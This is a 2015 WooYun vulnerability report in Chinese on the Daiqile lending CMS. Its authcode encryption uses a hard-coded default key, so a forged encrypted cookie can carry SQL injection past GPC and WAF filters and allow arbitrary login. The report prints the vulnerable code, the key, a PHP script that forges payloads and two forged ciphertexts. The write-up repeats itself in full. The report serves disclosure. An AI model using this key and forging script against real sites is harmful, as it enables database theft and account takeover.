当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135449

漏洞标题:贷齐乐加密问题导致全局注入\任意用户登录(无视gpc/waf)

相关厂商:chinaanhe.com

漏洞作者: Xser

提交时间:2015-08-20 10:33

修复时间:2015-11-18 10:42

公开时间:2015-11-18 10:42

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-23: 细节向第三方安全合作伙伴开放
2015-10-14: 细节向核心白帽子及相关领域专家公开
2015-10-24: 细节向普通白帽子公开
2015-11-03: 细节向实习白帽子公开
2015-11-18: 细节向公众公开

简要描述:

贷齐乐加密问题导致全局注入\任意用户登录(无视gpc/waf),分分钟秒站

详细说明:

出现在core/function.inc.php中

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}


由于系统给了加解密的方式,我只要拿到密文就可以构造注入了,由于加密后无视所有waf
我们来找一处试试
查看用户那里

public static function GetOne($data = array()){
global $mysql;
$user_id = isset($data['user_id'])?$data['user_id']:"";
$username = isset($data['username'])?$data['username']:"";
$password = isset($data['password'])?$data['password']:"";
$email = isset($data['email'])?$data['email']:"";
$type_id = isset($data['type_id'])?$data['type_id']:"";
$sql = "CREATE TABLE IF NOT EXISTS `{user_cache}` (
`user_id` int(11) NOT NULL DEFAULT '0')";
$mysql ->db_query($sql);
if ($user_id == "" && $username == "") return self::ERROR;
$sql = "select p2.name as typename,p2.type,p3.*,p4.*,p5.*,p1.* from `{user}` as p1
left join `{user_type}` as p2 on p1.type_id = p2.type_id
left join `{user_cache}` as p3 on p3.user_id = p1.user_id
left join `{account}` as p4 on p4.user_id = p1.user_id
left join `{userinfo}` as p5 on p5.user_id = p1.user_id
where 1=1 ";
if ($user_id!=""){
$sql .= " and p1.user_id = $user_id";
}

if ($password!=""){
$sql .= " and p1.password = '".md5($password)."'";
}

if ($username!=""){
$sql .= " and p1.username = '$username'";
}

if ($email!=""){
$sql .= " and p1.email = '$email'";
}

if ($type_id!=""){
$sql .= " and p1.type_id = '$type_id'";
}
return $mysql->db_fetch_array($sql);
}


可以看到user_id没有单引号包含,就算包含也没所谓,反正无视gpc和waf

$sql .= " and p1.user_id = $user_id";


脚本来构造下,因为密钥是固定的

<?php 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$id="1'";
$id = urldecode($id);
$data = explode(",",authcode(trim($id),"ENCODE"));
var_dump($data);
?>


QQ截图20150820001142.jpg


838cOrPDhhyriQoFaRRiPqbbAYSTtouOtn7WvPp2rw
带入cookie看看

QQ截图20150820001246.jpg


成功带入单引号,我们试试and 1=1(原谅我不会写exp这个别名语句)

QQ截图20150820002402.jpg


构造得出b593ULDqUXh/Qhm0YL6mHaHkdvIGOh7C7aqpfK5LIMo2DSlPV2or
带入成功

QQ截图20150820002348.jpg


分析就到这里了

漏洞证明:

出现在core/function.inc.php中

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}


由于系统给了加解密的方式,我只要拿到密文就可以构造注入了,由于加密后无视所有waf
我们来找一处试试
查看用户那里

public static function GetOne($data = array()){
global $mysql;
$user_id = isset($data['user_id'])?$data['user_id']:"";
$username = isset($data['username'])?$data['username']:"";
$password = isset($data['password'])?$data['password']:"";
$email = isset($data['email'])?$data['email']:"";
$type_id = isset($data['type_id'])?$data['type_id']:"";
$sql = "CREATE TABLE IF NOT EXISTS `{user_cache}` (
`user_id` int(11) NOT NULL DEFAULT '0')";
$mysql ->db_query($sql);
if ($user_id == "" && $username == "") return self::ERROR;
$sql = "select p2.name as typename,p2.type,p3.*,p4.*,p5.*,p1.* from `{user}` as p1
left join `{user_type}` as p2 on p1.type_id = p2.type_id
left join `{user_cache}` as p3 on p3.user_id = p1.user_id
left join `{account}` as p4 on p4.user_id = p1.user_id
left join `{userinfo}` as p5 on p5.user_id = p1.user_id
where 1=1 ";
if ($user_id!=""){
$sql .= " and p1.user_id = $user_id";
}

if ($password!=""){
$sql .= " and p1.password = '".md5($password)."'";
}

if ($username!=""){
$sql .= " and p1.username = '$username'";
}

if ($email!=""){
$sql .= " and p1.email = '$email'";
}

if ($type_id!=""){
$sql .= " and p1.type_id = '$type_id'";
}
return $mysql->db_fetch_array($sql);
}


可以看到user_id没有单引号包含,就算包含也没所谓,反正无视gpc和waf

$sql .= " and p1.user_id = $user_id";


脚本来构造下,因为密钥是固定的

<?php 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
$ckey_length = 4;
// 密匙
$key = md5($key ? $key : "dw10c20m05w18");
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();

// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}


if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$id="1'";
$id = urldecode($id);
$data = explode(",",authcode(trim($id),"ENCODE"));
var_dump($data);
?>


QQ截图20150820001142.jpg


838cOrPDhhyriQoFaRRiPqbbAYSTtouOtn7WvPp2rw
带入cookie看看

QQ截图20150820001246.jpg


成功带入单引号,我们试试and 1=1(原谅我不会写exp这个别名语句)

QQ截图20150820002402.jpg


构造得出b593ULDqUXh/Qhm0YL6mHaHkdvIGOh7C7aqpfK5LIMo2DSlPV2or
带入成功

QQ截图20150820002348.jpg


分析就到这里了

修复方案:

过滤

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-20 10:41

厂商回复:

http:/// 在这个站上试试吧,读读代码断章取义没什么意思的

最新状态:

暂无